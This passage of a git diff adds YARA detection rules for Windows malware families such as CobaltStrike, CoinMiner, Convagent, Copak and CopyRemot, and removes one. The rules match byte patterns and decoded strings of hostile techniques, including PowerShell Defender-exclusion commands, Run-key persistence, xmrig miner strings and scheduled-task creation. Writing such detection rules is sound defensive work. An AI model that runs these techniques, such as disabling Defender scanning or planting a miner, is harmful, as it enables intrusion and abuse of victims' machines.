b/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_GDF_MTB.yar new file mode 100644 index 0000000000..d402ca74a0 --- /dev/null +++ b/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_GDF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_CobaltStrike_GDF_MTB{ + meta: + description = "Trojan:Win32/CobaltStrike.GDF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {83 c4 0c 89 45 ?? 89 65 ec 68 ?? ?? ?? ?? ff 75 fc 33 c0 ff 15 ?? ?? ?? ?? ?? ?? 39 65 ec } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_MHI_MTB.yar b/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_MHI_MTB.yar new file mode 100644 index 0000000000..b3b4321314 --- /dev/null +++ b/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_MHI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_CobaltStrike_MHI_MTB{ + meta: + description = "Trojan:Win32/CobaltStrike.MHI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8b 75 c8 8b 7d cc 29 f7 89 d8 31 d2 f7 f7 0f b6 14 16 32 14 19 88 95 ?? ?? ?? ?? 8b 45 d8 3b 45 dc 75 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_MK.yar b/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_MK.yar new file mode 100644 index 0000000000..3400fbeea3 --- /dev/null +++ b/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_MK.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_CobaltStrike_MK{ + meta: + description = "Trojan:Win32/CobaltStrike.MK,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {42 65 61 63 6f 6e 46 6f 72 6d 61 74 41 6c 6c 6f 63 00 } //1 敂捡湯潆浲瑡汁潬c + $a_01_1 = {42 65 61 63 6f 6e 46 6f 72 6d 61 74 52 65 73 65 74 00 } //1 敂捡湯潆浲瑡敒敳t + $a_01_2 = {42 65 61 63 6f 6e 46 6f 72 6d 61 74 46 72 65 65 00 } //1 + $a_01_3 = {42 65 61 63 6f 6e 46 6f 72 6d 61 74 50 72 69 6e 74 66 00 } //1 + $a_01_4 = {42 65 61 63 6f 6e 46 6f 72 6d 61 74 49 6e 74 00 } //1 敂捡湯潆浲瑡湉t + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_OTV_MTB.yar b/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_OTV_MTB.yar new file mode 100644 index 0000000000..94e810f0a7 --- /dev/null +++ b/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_OTV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_CobaltStrike_OTV_MTB{ + meta: + description = "Trojan:Win32/CobaltStrike.OTV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {49 81 c9 00 ff ff ff 41 8b 85 ?? ?? ff ff 8b 95 f4 fd ff ff 0f b6 8c 0d ?? ?? ff ff 30 0c 10 40 89 85 f8 fd ff ff 3b c7 7c 82 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_UWW_MTB.yar b/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_UWW_MTB.yar new file mode 100644 index 0000000000..a6da301e04 --- /dev/null +++ b/Trojan/Win32/CobaltStrike/Trojan_Win32_CobaltStrike_UWW_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_CobaltStrike_UWW_MTB{ + meta: + description = "Trojan:Win32/CobaltStrike.UWW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_03_0 = {99 35 36 c7 21 a3 66 a3 ?? ?? ?? ?? 0f be 05 ?? ?? ?? ?? 0f b6 4d fd 0f b7 15 ?? ?? ?? ?? 0b ca 03 c1 88 45 fd 8b 45 8c 05 8b 00 00 00 89 85 ?? fd ff ff b9 5d 00 00 00 66 89 0d } //4 + $a_03_1 = {2b c8 8b 85 70 fe ff ff 1b c2 33 f1 33 f8 89 75 b4 89 7d b8 0f bf 4d e4 03 0d ?? ?? ?? ?? 0f bf 55 e4 0b d1 66 89 55 e4 eb } //5 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*5) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_BSA_MTB.yar b/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_BSA_MTB.yar deleted file mode 100644 index 468c7bc72f..0000000000 --- a/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_BSA_MTB.yar +++ /dev/null @@ -1,17 +0,0 @@ - -rule Trojan_Win32_CoinMiner_BSA_MTB{ - meta: - description = "Trojan:Win32/CoinMiner.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 07 00 00 " - - strings : - $a_01_0 = {55 73 61 67 65 3a 20 78 6d 72 69 67 20 5b 4f 50 54 49 4f 4e 53 5d } //10 Usage: xmrig [OPTIONS] - $a_01_1 = {63 72 79 70 74 6f 6e 69 67 68 74 } //1 cryptonight - $a_01_2 = {63 72 79 70 74 6f 6e 69 67 68 74 2d 6c 69 74 65 } //2 cryptonight-lite - $a_01_3 = {6d 61 78 69 6d 75 6d 20 43 50 55 20 75 73 61 67 65 20 66 6f 72 20 61 75 74 6f 6d 61 74 69 63 20 74 68 72 65 61 64 73 6d 6f 64 65 } //3 maximum CPU usage for automatic threadsmode - $a_01_4 = {70 72 69 6e 74 20 68 61 73 68 72 61 74 65 20 72 65 70 6f 72 74 20 65 76 65 72 79 20 4e 20 73 65 63 6f 6e 64 73 } //4 print hashrate report every N seconds - $a_01_5 = {70 6f 72 74 20 66 6f 72 20 74 68 65 20 6d 69 6e 65 72 20 41 50 49 } //5 port for the miner API - $a_01_6 = {65 6e 61 62 6c 65 20 6e 69 63 65 68 61 73 68 2f 78 6d 72 69 67 2d 70 72 6f 78 79 } //6 enable nicehash/xmrig-proxy - condition: - ((#a_01_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*2+(#a_01_3 & 1)*3+(#a_01_4 & 1)*4+(#a_01_5 & 1)*5+(#a_01_6 & 1)*6) >=25 - -} \ No newline at end of file diff --git a/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_ETL_MTB.yar b/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_ETL_MTB.yar new file mode 100644 index 0000000000..0b85bce73d --- /dev/null +++ b/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_ETL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_CoinMiner_ETL_MTB{ + meta: + description = "Trojan:Win32/CoinMiner.ETL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {89 c1 89 c8 d1 e8 ba 43 08 21 84 f7 e2 89 d0 c1 e8 04 6b c0 3e 29 c1 89 c8 0f b6 80 c0 92 94 62 88 03 83 45 f4 01 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_PAHM_MTB.yar b/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_PAHM_MTB.yar new file mode 100644 index 0000000000..b0b2e277b0 --- /dev/null +++ b/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_PAHM_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_CoinMiner_PAHM_MTB{ + meta: + description = "Trojan:Win32/CoinMiner.PAHM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 07 00 00 " + + strings : + $a_03_0 = {70 6f 77 65 72 73 68 65 6c 6c 20 2d 43 6f 6d 6d 61 6e 64 20 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 72 6f 63 65 73 73 20 27 43 3a 5c [0-10] 5c 63 6f 6e 66 69 67 2e 6a 73 6f 6e 27 } //2 + $a_00_1 = {53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 } //1 Software\Microsoft\Windows\CurrentVersion\Run + $a_02_2 = {4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 27 00 43 00 3a 00 5c 00 [0-10] 5c 00 57 00 69 00 6e 00 52 00 69 00 6e 00 67 00 30 00 78 00 36 00 34 00 2e 00 73 00 79 00 73 00 27 00 } //2 + $a_00_3 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 20 00 27 00 } //1 powershell -Command Add-MpPreference -ExclusionPath ' + $a_00_4 = {44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 69 00 6e 00 67 00 20 00 66 00 69 00 6c 00 65 00 20 00 66 00 72 00 6f 00 6d 00 3a 00 } //1 Downloading file from: + $a_00_5 = {72 00 75 00 6e 00 61 00 73 00 } //1 runas + $a_00_6 = {78 00 6d 00 72 00 69 00 67 00 } //2 xmrig + condition: + ((#a_03_0 & 1)*2+(#a_00_1 & 1)*1+(#a_02_2 & 1)*2+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_PBD_MTB.yar b/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_PBD_MTB.yar new file mode 100644 index 0000000000..fdbcad7b45 --- /dev/null +++ b/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_PBD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_CoinMiner_PBD_MTB{ + meta: + description = "Trojan:Win32/CoinMiner.PBD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_01_0 = {0f b6 4d 13 8a 14 01 00 55 ff 8d 34 01 0f b6 4d ff 8a 1c 01 03 c8 88 1e 88 11 8a 1e 8b 4d f8 02 da 0f b6 d3 03 f9 8a 14 02 30 17 41 3b 4d 0c 89 4d f8 } //4 + $a_00_1 = {79 79 72 75 74 69 66 6e 76 63 } //2 yyrutifnvc + condition: + ((#a_01_0 & 1)*4+(#a_00_1 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_TL_MTB.yar b/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_TL_MTB.yar new file mode 100644 index 0000000000..cc0e85af60 --- /dev/null +++ b/Trojan/Win32/CoinMiner/Trojan_Win32_CoinMiner_TL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_CoinMiner_TL_MTB{ + meta: + description = "Trojan:Win32/CoinMiner.TL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 8d cc f8 ff ff 51 6a 01 68 cd 0d 6e 52 8b 95 c4 fd ff ff 52 e8 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/CompEnum/Trojan_Win32_CompEnum_ZZC_MTB.yar b/Trojan/Win32/CompEnum/Trojan_Win32_CompEnum_ZZC_MTB.yar new file mode 100644 index 0000000000..8837475049 --- /dev/null +++ b/Trojan/Win32/CompEnum/Trojan_Win32_CompEnum_ZZC_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_CompEnum_ZZC_MTB{ + meta: + description = "Trojan:Win32/CompEnum.ZZC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_00_0 = {52 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 2d 00 53 00 63 00 68 00 65 00 64 00 75 00 6c 00 65 00 64 00 54 00 61 00 73 00 6b 00 } //1 Register-ScheduledTask + $a_00_1 = {5b 00 67 00 75 00 69 00 64 00 5d 00 3a 00 3a 00 4e 00 65 00 77 00 47 00 75 00 69 00 64 00 28 00 29 00 2e 00 54 00 6f 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 29 00 2e 00 53 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 } //1 [guid]::NewGuid().ToString().Substring( + $a_00_2 = {41 00 63 00 74 00 69 00 6f 00 6e 00 20 00 28 00 4e 00 65 00 77 00 2d 00 53 00 63 00 68 00 65 00 64 00 75 00 6c 00 65 00 64 00 54 00 61 00 73 00 6b 00 41 00 63 00 74 00 69 00 6f 00 6e 00 20 00 2d 00 57 00 6f 00 72 00 6b 00 69 00 6e 00 67 00 44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 } //1 Action (New-ScheduledTaskAction -WorkingDirectory + $a_00_3 = {2d 00 45 00 78 00 65 00 63 00 75 00 74 00 65 00 } //1 -Execute + $a_00_4 = {2d 00 54 00 72 00 69 00 67 00 67 00 65 00 72 00 20 00 28 00 4e 00 65 00 77 00 2d 00 53 00 63 00 68 00 65 00 64 00 75 00 6c 00 65 00 64 00 54 00 61 00 73 00 6b 00 54 00 72 00 69 00 67 00 67 00 65 00 72 00 20 00 2d 00 4f 00 6e 00 63 00 65 00 20 00 2d 00 41 00 74 00 20 00 28 00 47 00 65 00 74 00 2d 00 44 00 61 00 74 00 65 00 29 00 20 00 2d 00 52 00 65 00 70 00 65 00 74 00 69 00 74 00 69 00 6f 00 6e 00 49 00 6e 00 74 00 65 00 72 00 76 00 61 00 6c 00 20 00 28 00 4e 00 65 00 77 00 2d 00 54 00 69 00 6d 00 65 00 53 00 70 00 61 00 6e 00 } //1 -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan + $a_00_5 = {2d 00 53 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 20 00 28 00 4e 00 65 00 77 00 2d 00 53 00 63 00 68 00 65 00 64 00 75 00 6c 00 65 00 64 00 54 00 61 00 73 00 6b 00 53 00 65 00 74 00 74 00 69 00 6e 00 67 00 73 00 53 00 65 00 74 00 } //1 -Settings (New-ScheduledTaskSettingsSet + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/CompEnum/Trojan_Win32_CompEnum_ZZZ_MTB.yar b/Trojan/Win32/CompEnum/Trojan_Win32_CompEnum_ZZZ_MTB.yar new file mode 100644 index 0000000000..6d8595a0df --- /dev/null +++ b/Trojan/Win32/CompEnum/Trojan_Win32_CompEnum_ZZZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_CompEnum_ZZZ_MTB{ + meta: + description = "Trojan:Win32/CompEnum.ZZZ!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 63 00 6f 00 4d 00 } //1 owershell -coM + $a_02_1 = {74 00 65 00 6d 00 70 00 [0-ff] 2e 00 74 00 6d 00 70 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/ConAtt/Trojan_Win32_ConAtt_HA_MTB.yar b/Trojan/Win32/ConAtt/Trojan_Win32_ConAtt_HA_MTB.yar new file mode 100644 index 0000000000..940306dea8 --- /dev/null +++ b/Trojan/Win32/ConAtt/Trojan_Win32_ConAtt_HA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ConAtt_HA_MTB{ + meta: + description = "Trojan:Win32/ConAtt.HA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_02_0 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 20 00 72 00 75 00 6e 00 6c 00 65 00 67 00 61 00 63 00 79 00 63 00 70 00 6c 00 65 00 6c 00 65 00 76 00 61 00 74 00 65 00 64 00 [0-08] 20 00 [0-20] 90 22 01 02 20 2c [0-20] 20 00 [0-02] 63 00 3a 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 [0-46] 2e 00 [0-0a] 90 1b 04 } //10 + condition: + ((#a_02_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Convagent/Trojan_Win32_Convagent_BAB_MTB.yar b/Trojan/Win32/Convagent/Trojan_Win32_Convagent_BAB_MTB.yar new file mode 100644 index 0000000000..82e6a6a1e0 --- /dev/null +++ b/Trojan/Win32/Convagent/Trojan_Win32_Convagent_BAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Convagent_BAB_MTB{ + meta: + description = "Trojan:Win32/Convagent.BAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {b9 07 00 00 00 c1 c0 04 24 0f 04 41 88 06 46 e2 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Convagent/Trojan_Win32_Convagent_BAC_MTB.yar b/Trojan/Win32/Convagent/Trojan_Win32_Convagent_BAC_MTB.yar new file mode 100644 index 0000000000..3ccc0559d4 --- /dev/null +++ b/Trojan/Win32/Convagent/Trojan_Win32_Convagent_BAC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Convagent_BAC_MTB{ + meta: + description = "Trojan:Win32/Convagent.BAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {33 d2 8d 0c 1a 8d 42 01 42 30 01 81 fa ?? ?? ?? ?? 72 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Convagent/Trojan_Win32_Convagent_BAD_MTB.yar b/Trojan/Win32/Convagent/Trojan_Win32_Convagent_BAD_MTB.yar new file mode 100644 index 0000000000..bcb6f14948 --- /dev/null +++ b/Trojan/Win32/Convagent/Trojan_Win32_Convagent_BAD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Convagent_BAD_MTB{ + meta: + description = "Trojan:Win32/Convagent.BAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 45 fe 03 c2 88 45 ?? 0f b6 4d ?? 8b 55 ?? 2b d1 89 55 ?? 0f b6 45 ?? 03 05 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Convagent/Trojan_Win32_Convagent_EGD_MTB.yar b/Trojan/Win32/Convagent/Trojan_Win32_Convagent_EGD_MTB.yar new file mode 100644 index 0000000000..af5e33b2f0 --- /dev/null +++ b/Trojan/Win32/Convagent/Trojan_Win32_Convagent_EGD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Convagent_EGD_MTB{ + meta: + description = "Trojan:Win32/Convagent.EGD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 4c 24 1c 8b c5 2b cd 8b fe 8a 1c 01 30 18 40 4f } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Convagent/Trojan_Win32_Convagent_EGRP_MTB.yar b/Trojan/Win32/Convagent/Trojan_Win32_Convagent_EGRP_MTB.yar new file mode 100644 index 0000000000..8bc34749c3 --- /dev/null +++ b/Trojan/Win32/Convagent/Trojan_Win32_Convagent_EGRP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Convagent_EGRP_MTB{ + meta: + description = "Trojan:Win32/Convagent.EGRP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {03 55 fc 0f be 02 83 f0 34 8b 4d f8 03 4d fc 88 01 ?? ?? ba 01 00 00 00 6b c2 42 8b 4d f8 c6 04 01 00 8b 45 f8 8b e5 } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Convagent/Trojan_Win32_Convagent_EUHE_MTB.yar b/Trojan/Win32/Convagent/Trojan_Win32_Convagent_EUHE_MTB.yar new file mode 100644 index 0000000000..469d5bff99 --- /dev/null +++ b/Trojan/Win32/Convagent/Trojan_Win32_Convagent_EUHE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Convagent_EUHE_MTB{ + meta: + description = "Trojan:Win32/Convagent.EUHE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {c1 e9 05 03 4d d4 33 d1 8b 45 e0 2b c2 89 45 e0 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Convagent/Trojan_Win32_Convagent_PGC_MTB.yar b/Trojan/Win32/Convagent/Trojan_Win32_Convagent_PGC_MTB.yar new file mode 100644 index 0000000000..a888a7270e --- /dev/null +++ b/Trojan/Win32/Convagent/Trojan_Win32_Convagent_PGC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Convagent_PGC_MTB{ + meta: + description = "Trojan:Win32/Convagent.PGC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {0f 42 d8 f6 c1 7f b9 ?? ?? ?? ?? 89 5d a0 0f 95 c1 0f b6 db f6 c3 7f 89 5d a8 b8 ?? ?? ?? ?? 0f 95 c0 03 c8 8b 45 9c c1 e8 07 03 c8 8b c3 } //2 + $a_01_1 = {4e 59 47 70 75 4b 4b 69 55 37 3f 5b 30 6b 74 } //3 NYGpuKKiU7?[0kt + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Copak/Trojan_Win32_Copak_BAA_MTB.yar b/Trojan/Win32/Copak/Trojan_Win32_Copak_BAA_MTB.yar new file mode 100644 index 0000000000..fecd9f21a2 --- /dev/null +++ b/Trojan/Win32/Copak/Trojan_Win32_Copak_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Copak_BAA_MTB{ + meta: + description = "Trojan:Win32/Copak.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {31 3a 29 c1 81 c2 04 00 00 00 01 c9 46 39 da 75 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Copak/Trojan_Win32_Copak_GPAK_MTB.yar b/Trojan/Win32/Copak/Trojan_Win32_Copak_GPAK_MTB.yar new file mode 100644 index 0000000000..6c1804cfc5 --- /dev/null +++ b/Trojan/Win32/Copak/Trojan_Win32_Copak_GPAK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Copak_GPAK_MTB{ + meta: + description = "Trojan:Win32/Copak.GPAK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_03_0 = {68 e0 ea 40 00 [0-20] 31 [0-30] 81 ?? ff 00 00 00 [0-20] f4 01 00 00 75 05 } //4 + condition: + ((#a_03_0 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Copak/Trojan_Win32_Copak_GPI_MTB.yar b/Trojan/Win32/Copak/Trojan_Win32_Copak_GPI_MTB.yar new file mode 100644 index 0000000000..167513330d --- /dev/null +++ b/Trojan/Win32/Copak/Trojan_Win32_Copak_GPI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Copak_GPI_MTB{ + meta: + description = "Trojan:Win32/Copak.GPI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {c7 b3 43 00 [0-10] e8 [0-20] 31 [0-40] 75 [0-40] 81 ?? ff 00 00 00 [0-40] 81 ?? f4 01 00 00 75 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Copak/Trojan_Win32_Copak_GPJ_MTB.yar b/Trojan/Win32/Copak/Trojan_Win32_Copak_GPJ_MTB.yar new file mode 100644 index 0000000000..b4718ee39b --- /dev/null +++ b/Trojan/Win32/Copak/Trojan_Win32_Copak_GPJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Copak_GPJ_MTB{ + meta: + description = "Trojan:Win32/Copak.GPJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {a2 ad 47 00 [0-08] 96 af 47 00 [0-30] 81 ?? ff 00 00 00 [0-20] 31 [0-30] 0f 8c } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/CopyRemot/Trojan_Win32_CopyRemot_A.yar b/Trojan/Win32/CopyRemot/Trojan_Win32_CopyRemot_A.yar new file mode 100644 index 0000000000..874a29983e --- /dev/null +++ b/Trojan/Win32/CopyRemot/Trojan_Win32_CopyRemot_A.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_CopyRemot_A{ + meta: + description = "Trojan:Win32/CopyRemot.A,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 63 00 6f 00 70 00 79 00 20 00 2f 00 62 00 } //1 cmd /c copy /b + $a_02_1 = {2e 00 63 00 6f 00 6d 00 20 00 2b 00 [0-ff] 2e 00 63 00 6f 00 6d 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/CopyRemot/Trojan_Win32_CopyRemot_B.yar b/Trojan/Win32/CopyRemot/Trojan_Win32_CopyRemot_B.yar new file mode 100644 index 0000000000..2a00cd116c --- /dev/null +++ b/Trojan/Win32/CopyRemot/Trojan_Win32_CopyRemot_B.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_CopyRemot_B{ + meta: + description = "Trojan:Win32/CopyRemot.B,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 63 00 6f 00 70 00 79 00 20 00 2f 00 62 00 } //1 cmd /c copy /b + $a_02_1 = {2e 00 74 00 6d 00 70 00 20 00 2b 00 [0-3c] 2e 00 74 00 6d 00 70 00 20 00 2b 00 [0-3c] 2e 00 74 00 6d 00 70 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/CopyRemot/Trojan_Win32_CopyRemot_C.yar b/Trojan/Win32/CopyRemot/Trojan_Win32_CopyRemot_C.yar new file mode 100644 index 0000000000..9863ccda38 --- /dev/null +++ b/Trojan/Win32/CopyRemot/Trojan_Win32_CopyRemot_C.yar @@ -0,0 +1,22 @@ + +rule Trojan_Win32_CopyRemot_C{ + meta: + description = "Trojan:Win32/CopyRemot.C,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 63 00 6f 00 70 00 79 00 20 00 2f 00 62 00 [0-3c] 2e 00 [0-20] 2b 00 20 00 [0-3c] 2e 00 [0-20] 2b 00 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} +rule Trojan_Win32_CopyRemot_C_2{ + meta: + description = "Trojan:Win32/CopyRemot.C,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {63 00 6d 00 64 00 20 00 2f 00 63 00 